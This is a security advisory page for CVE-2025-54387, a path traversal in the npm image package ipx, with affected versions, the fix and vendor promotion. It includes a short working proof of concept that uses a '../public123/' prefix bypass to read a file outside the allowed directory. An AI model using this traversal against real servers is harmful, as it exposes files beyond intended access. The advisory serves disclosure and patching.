CVE-2025-54387 — ipx
Fix: unjs/ipx@81693ddCVE-2025-54387 is a Path Traversal vulnerability in ipx. A fix is available for ipx — see the affected versions and patch details below.
IPX is Vulnerable to Path Traversal via Prefix Matching Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54387.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
ipxnpmDescription
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx
main.js
import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()
node main.js
png
Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | ipx | all versions | 1.3.2npm install ipx@1.3.2 |
| 📦npm | ipx | ≥ 2.0.0-0&&< 2.1.1 | 2.1.1npm install ipx@2.1.1 |
| 📦npm | ipx | ≥ 3.0.0&&< 3.1.1 | 3.1.1npm install ipx@3.1.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ipx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ipx to 1.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54387 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54387 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-54387. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-54387 in your dependencies?
O3 Security finds CVE-2025-54387 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.